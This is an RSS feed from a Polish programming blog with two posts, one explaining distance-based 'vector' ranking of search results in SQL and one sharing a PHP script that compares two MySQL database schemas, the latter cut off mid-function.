<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>nobigwords.ntxt.net &#187; PHP</title>
	<atom:link href="http://nobigwords.ntxt.net/tag/php/feed/" rel="self" type="application/rss+xml" />
	<link>http://nobigwords.ntxt.net</link>
	<description>not too big words not only about web</description>
	<lastBuildDate>Thu, 08 Dec 2011 23:35:48 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
		<item>
		<title>Wyszukiwanie wektorowe [cz. 1]</title>
		<link>http://nobigwords.ntxt.net/2010/10/03/wyszukiwanie-wektorowe-cz-1/</link>
		<comments>http://nobigwords.ntxt.net/2010/10/03/wyszukiwanie-wektorowe-cz-1/#comments</comments>
		<pubDate>Sun, 03 Oct 2010 16:13:37 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[e-commerce]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[www]]></category>
		<category><![CDATA[algorytmy wyszukiwania]]></category>
		<category><![CDATA[architektura informacji]]></category>
		<category><![CDATA[bazy danych]]></category>
		<category><![CDATA[dopasowanie]]></category>
		<category><![CDATA[dopasowanie wyników]]></category>
		<category><![CDATA[optymalizacja wyszukiwania]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[portal]]></category>
		<category><![CDATA[portal mieszkaniowy]]></category>
		<category><![CDATA[portal moto]]></category>
		<category><![CDATA[portal nieruchomości]]></category>
		<category><![CDATA[portal samochodowy]]></category>
		<category><![CDATA[select]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[wyszukiwanie]]></category>
		<category><![CDATA[wyszukiwarki]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=301</guid>
		<description><![CDATA[Pod mądrą nazwą wyszukiwania wektorowego kryje się odpowiedź na proste pytanie: Jak najlepiej dopasować wyniki wyszukania do zapytania, w sytuacji gdy nie mamy elementów pasujących idealnie? W życiu pytanie to pojawia się na wszelkich stronach z wyszukiwarką produktów, czy to mieszkań, czy aut, czy komputerów. Gdy produkty te są opisane wyłącznie za pomocą liczb, sprawa [...]]]></description>
			<content:encoded><![CDATA[<p>Pod mądrą nazwą wyszukiwania wektorowego kryje się odpowiedź na proste pytanie: </p>
<blockquote><p>Jak najlepiej dopasować wyniki wyszukania do zapytania,<br />
w sytuacji gdy nie mamy elementów pasujących idealnie?</p></blockquote>
<p>W życiu pytanie to pojawia się na wszelkich stronach z wyszukiwarką produktów, czy to mieszkań, czy aut, czy komputerów. Gdy produkty te są opisane wyłącznie za pomocą liczb, sprawa jest prosta. Np.: auto o przebiegu 200 000 km, rok produkcji &ndash; 2006, średnie spalanie 8 l/100 km. Wiadomo, że auta o mniejszym przebiegu są lepsze, niż te spalające więcej, że im dawniej wyprodukowano auto, tym gorzej, że lepiej żeby paliło mniej niż więcej. Czy dzięki temu wiemy, jakie auta będą na pewno lepsze, a jakie gorsze od tego z przykładu? Prawie tak. Prawie, ponieważ nie wiemy, jak przeliczyć jeden rok wieku auta na kilometry przebiegu i litry paliwa.</p>
<p>Zacznijmy więc od sprawy najprostszej, czyli od bazy aut o tylko jednej cesze, czyli opisane rokiem produkcji. Powiedzmy, że w bazie znajdą się dwa auta:</p>
<ol>
<li>A, rok prod. 2001</li>
<li>B, rok prod 2009</li>
</ol>
<p>
Gdy dla szukającego auta do zaakceptowania jest pojazd maksymalnie z 2004 roku, sprawa jest jasna nawet intuicyjnie: wybieramy to z 2009, czyli B.</p>
<p>Jednak jeśli szukający postawi sprawę nieco inaczej, czyli zamiast &laquo;chcę auto maksymalnie z 2004 roku&raquo; powie: &laquo;chcę auto wyprodukowane mniej-więcej w 2004 roku&raquo;, to najbliżej jego ideału jest samochód A, z 2001.</p>
<p>Można mieć wątpliwości, czy wyszukiwarka powinna pokazać auto <i>bliższe</i> zadanym kryteriom, czy też o <i>korzystniejszych parametrach.</i> Rok produkcji to cecha, której wartość wprost przekłada się na jakość auta, zmieńmy ją na taką, która jest neutralna, np. długość pojazdu. Nasza baza zmienia się na taką:
</p>
<ol>
<li>A, długość 390 cm</li>
<li>B, długość 450 cm</li>
</ol>
<p>
Jeśli teraz poszukiwane auto ma mieć 400 cm długości, bardzo blisko tej wartości znajdzie się długość pojazdu A. Gdyby ułożyć samochody z bazy wg dopasowania do zadanych parametrów, A byłoby przed B. To właśnie najprostszy przykład wektorowego opisu wyniku wyszukiwania. Wektor dopasowania to odległość między punktem zadanym przez zapytanie (Z:400 cm) a punktami opisującymi rekordy bazy (A:390 cm i B:450 cm). Wektory dopasowania dla obu aut mają odpowiednio:
</p>
<ol>
<li>Z &#8211; A: abs(390 &#8211; 400) = 10 cm</li>
<li>Z &#8211; B: abs(450 &#8211; 400)  = 50 cm</li>
</ol>
<p><small>funkcja abs(x), czyli wartość bezwzględna ;-)</small></p>
<p>
Dla A długość wektora dopasowania jest 5-krotnie mniejsza niż dla B, więc A jest dużo lepiej dopasowany do zadanych parametrów od B. Kiedy do długości dodamy szerokość, sprawa skomplikuje się o drugi wymiar. Wektor dopasowania będziemy wtedy obliczać jako złożenie składowych, 1-wymiarowych wektorów długości i szerokości. To znana zależność, kojarzona z Pitagorasem. ;) Długość wektora dopasowania to pierwiastek kwadratowy z sumy kwadratów obu wektorów składowych.</p>
<h2>Przekład na SQL</h2>
<p>Przekładając problem na SQL, zaczynamy od takiego pytania:</p>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">FROM</span> samochody
<span style="color: #993333; font-weight: bold;">WHERE</span> dlugosc <span style="color: #66cc66;">=</span> <span style="color: #cc66cc;">400</span>;</pre></div></div>

<p>W naszej bazie nie daje ono oczywiście żadnych elementów, czyli zwraca zbiór pusty. Dla naszego poszukiwacza aut to dość frustrująca odpowiedź.<br />
Możemy to nieco poprawić, dodając tolerancję:
</p>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">FROM</span> samochody
<span style="color: #993333; font-weight: bold;">WHERE</span> dlugosc <span style="color: #66cc66;">&gt;</span> <span style="color: #cc66cc;">400</span> <span style="color: #66cc66;">-</span> tolerancja <span style="color: #993333; font-weight: bold;">AND</span>
dlugosc <span style="color: #66cc66;">&lt;</span> <span style="color: #cc66cc;">400</span> <span style="color: #66cc66;">+</span> tolerancja;</pre></div></div>

<p>To zwiększa szanse na dobry wynik, ale tylko czasem. Tolerancja może być za mała albo za duża, a zawsze jest kolejnym utrudnieniem dla użytkownika.<br />
Moim zdaniem lepiej będzie tak:
</p>
</pre>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">FROM</span> samochody
<span style="color: #993333; font-weight: bold;">ORDER</span> <span style="color: #993333; font-weight: bold;">BY</span> abs<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">400</span> <span style="color: #66cc66;">-</span> dlugosc<span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">ASC</span>;</pre></div></div>

<p>Wydajnościowo to nienajlepsze rozwiązanie, ale pokazuję tu tylko zasadę. Nienajlepsze, bo spowoduje posortowanie <i>całej</i> bazy aut, w dodatku wg obliczanego, a nie przechowywanego, parametru. W realnych zastosowaniach można uniknąć sortowania wprowdzając nieco więcej logiki przed wykonaniem zapytania.
</p>
<p><small>w roli pojazdu A udział wziął <a href="http://www.ritzsite.demon.nl/Citroen68/Dyane_L.htm">Citroen 1968 Dyane Luxe</a>, w roli pojazdu B - <a href="http://www.samarins.com/reviews/cr-v02.html">Honda CR-V</a></small></p>
]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2010/10/03/wyszukiwanie-wektorowe-cz-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>porównywanie baz MySQL w PHP</title>
		<link>http://nobigwords.ntxt.net/2009/09/26/porownywanie-baz-mysql-w-php/</link>
		<comments>http://nobigwords.ntxt.net/2009/09/26/porownywanie-baz-mysql-w-php/#comments</comments>
		<pubDate>Sat, 26 Sep 2009 18:26:32 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[bazy danych]]></category>
		<category><![CDATA[compare]]></category>
		<category><![CDATA[compare database]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[database diff]]></category>
		<category><![CDATA[dbdiff]]></category>
		<category><![CDATA[diff]]></category>
		<category><![CDATA[programowanie]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[synchronizacja]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=264</guid>
		<description><![CDATA[Często przy pracy nad aplikacjami z bazą SQL zdarza się sytuacja, kiedy baza &#8216;deweloperska&#8217; uległa nieudokumentowanym dokładnie zmianom, i wreszcie trzeba je wdrożyć w wersji produkcyjnej. Oczywiście lepiej byłoby prowadzić dziennik zmian :) Kiedy jednak już jest za późno, przydaje się poniższy skrypt do porównywania baz. Wychwytuje on różnice na poziomie definicji tabel i pól, [...]]]></description>
			<content:encoded><![CDATA[<p>Często przy pracy nad aplikacjami z bazą SQL zdarza się sytuacja, kiedy baza &#8216;deweloperska&#8217; uległa nieudokumentowanym dokładnie zmianom, i wreszcie trzeba je wdrożyć w wersji produkcyjnej. Oczywiście lepiej byłoby prowadzić dziennik zmian :) Kiedy jednak już jest za późno, przydaje się poniższy skrypt do porównywania baz. Wychwytuje on różnice na poziomie definicji tabel i pól, proponując stosowne polecenia typu CREATE, ALTER, itp. Propozycje te nie są doskonałe, trzeba zwracać uwagę zwłaszcza na klucze i wartości domyślne, ale na pewno ułatwia synchronizację.</p>
<p>Skrypt napisany na podstawie <a href="http://adamyoung.net/MySQL-Database-Diff-Script">MySQL Database Diff Script</a>, ale znacznie rozszerzony i zmodyfikowany. Enjoy! :)</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>html<span style="color: #339933;">&gt;</span>
<span style="color: #339933;">&lt;</span>head<span style="color: #339933;">&gt;</span>
<span style="color: #339933;">&lt;</span>style<span style="color: #339933;">&gt;</span>
<span style="color: #339933;">.</span>deleted<span style="color: #009900;">&#123;</span>
	text<span style="color: #339933;">-</span>decoration<span style="color: #339933;">:</span>line<span style="color: #339933;">-</span>through<span style="color: #339933;">;</span>
	color<span style="color: #339933;">:</span>red<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #339933;">.</span>added<span style="color: #009900;">&#123;</span>
	color<span style="color: #339933;">:</span>green<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #339933;">&lt;/</span>style<span style="color: #339933;">&gt;</span>
<span style="color: #339933;">&lt;/</span>head<span style="color: #339933;">&gt;</span>
<span style="color: #339933;">&lt;</span>body<span style="color: #339933;">&gt;</span>
<span style="color: #339933;">&lt;</span> ?php
<span style="color: #009933; font-style: italic;">/**
 * original by Adam Young http://adamyoung.net/
 * modified and extended 2009-09-26 by ptrk http://nobigwords.ntxt.net/ 
 * 
 */</span>
<span style="color: #000088;">$src_host</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$src_user</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'root'</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$src_pass</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$src_db</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'baza32_superskl_emisja'</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$dst_host</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$dst_user</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'root'</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$dst_pass</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$dst_db</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'baza32_superskl'</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$src</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_connect</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$src_host</span><span style="color: #339933;">,</span> <span style="color: #000088;">$src_user</span><span style="color: #339933;">,</span> <span style="color: #000088;">$src_pass</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">mysql_select_db</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$src_db</span><span style="color: #339933;">,</span> <span style="color: #000088;">$src</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Could not find/USE source database: <span style="color: #006699; font-weight: bold;">{$src_db}</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$src_tables</span> <span style="color: #339933;">=</span> getTables<span style="color: #009900;">&#40;</span><span style="color: #000088;">$src</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
&nbsp;
<span style="color: #000088;">$dst</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_connect</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dst_host</span><span style="color: #339933;">,</span> <span style="color: #000088;">$dst_user</span><span style="color: #339933;">,</span> <span style="color: #000088;">$dst_pass</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">mysql_select_db</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dst_db</span><span style="color: #339933;">,</span> <span style="color: #000088;">$dst</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Could not find/USE destination database: <span style="color: #006699; font-weight: bold;">{$dst_db}</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$dst_tables</span> <span style="color: #339933;">=</span> getTables<span style="color: #009900;">&#40;</span><span style="color: #000088;">$dst</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
&nbsp;
<span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$src_tables</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$t</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$table</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$i</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$found</span> <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dst_tables</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$t</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$dst_table</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$dst_tables</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$t</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$dst_table</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">name</span> <span style="color: #339933;">==</span> <span style="color: #000088;">$table</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">name</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$diff</span> <span style="color: #339933;">=</span> compareDefinitions<span style="color: #009900;">&#40;</span><span style="color: #000088;">$table</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">definition</span><span style="color: #339933;">,</span> <span style="color: #000088;">$dst_table</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">definition</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$diff</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
				<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">{$table-&gt;name}</span>&lt;br /&gt;&quot;</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span>
				<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;b&gt;<span style="color: #006699; font-weight: bold;">{$table-&gt;name}</span> is different&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&quot;</span><span style="color: #339933;">;</span>
				<span style="color: #000088;">$alters</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
				<span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$diff</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$col</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$info</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
					<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;li&gt;<span style="color: #006699; font-weight: bold;">$col</span> : &quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$info</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'info'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;&lt;/li&gt;&quot;</span><span style="color: #339933;">;</span>
					<span style="color: #000088;">$alters</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;alter table `&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$dst_table</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">name</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;` &quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$info</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'alter'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
				<span style="color: #009900;">&#125;</span>
				<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'&lt;/ul&gt;'</span><span style="color: #339933;">;</span>
				<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&amp;gt;pre&amp;lt;&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$alters</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot; &amp;gt;/pre&amp;lt;&quot;</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span>
			<span style="color: #990000;">unset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dst_tables</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #000088;">$found</span> <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;span class='deleted'&gt;<span style="color: #006699; font-weight: bold;">{$table-&gt;name}</span> &lt;/span&gt;&lt;br /&gt;&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&amp;gt;pre&amp;lt;<span style="color: #006699; font-weight: bold;">{$table-&gt;create}</span>&amp;gt;/pre&amp;lt;&lt;br /&gt;&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> getTables<span style="color: #009900;">&#40;</span><span style="color: #000088;">$link</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$rsrc</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'SHOW TABLES'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$link</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$tables</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$row</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_fetch_row</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$rsrc</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$table</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> table<span style="color: #009900;">&#40;</span>
			<span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>
			getTableDef<span style="color: #009900;">&#40;</span><span style="color: #000088;">$link</span><span style="color: #339933;">,</span> <span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>
			getTableCreate<span style="color: #009900;">&#40;</span><span style="color: #000088;">$link</span><span style="color: #339933;">,</span> <span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span>
		<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$tables</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$table</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">return</span> <span style="color: #000088;">$tables</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> getTableDef<span style="color: #009900;">&#40;</span><span style="color: #000088;">$link</span><span style="color: #339933;">,</span> <span style="color: #000088;">$table</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$rsrc</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;DESCRIBE `<span style="color: #006699; font-weight: bold;">{$table}</span>`&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$row</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_fetch_row</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$rsrc</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
		<span style="color: #990000;">list</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$name</span><span style="color: #339933;">,</span> <span style="color: #000088;">$type</span><span style="color: #339933;">,</span> <span style="color: #000088;">$null</span><span style="color: #339933;">,</span> <span style="color: #000088;">$key</span><span style="color: #339933;">,</span> <span style="color: #000088;">$default</span><span style="color: #339933;">,</span> <span style="color: #000088;">$extra</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$row</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$result</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$name</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$type</span><span style="color: #339933;">,</span> <span style="color: #000088;">$null</span><span style="color: #339933;">,</span> <span style="color: #000088;">$key</span><span style="color: #339933;">,</span> <span style="color: #000088;">$default</span><span style="color: #339933;">,</span> <span style="color: #000088;">$extra</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">return</span> <span style="color: #000088;">$result</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> getTableCreate<span style="color: #009900;">&#40;</span><span style="color: #000088;">$link</span><span style="color: #339933;">,</span> <span style="color: #000088;">$table</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$rsrc</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SHOW CREATE TABLE `<span style="color: #006699; font-weight: bold;">{$table}</span>`&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$row</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_fetch_row</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$rsrc</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">return</span> <span style="color: #000088;">$result</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">class</span> table <span style="color: #009900;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$name</span><span style="color: #339933;">;</span>
	<span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$definition</span><span style="color: #339933;">;</span>
	<span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$create</span><span style="color: #339933;">;</span>
	<span style="color: #000000; font-weight: bold;">function</span> table<span style="color: #009900;">&#40;</span><span style="color: #000088;">$name</span><span style="color: #339933;">,</span> <span style="color: #000088;">$def</span><span style="color: #339933;">,</span> <span style="color: #000088;">$create</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">name</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$name</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">definition</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$def</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">create</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$create</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> compareDefinitions<span style="color: #009900;">&#40;</span><span style="color: #000088;">$defA</span><span style="color: #339933;">,</span> <span style="color: #000088;">$defB</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
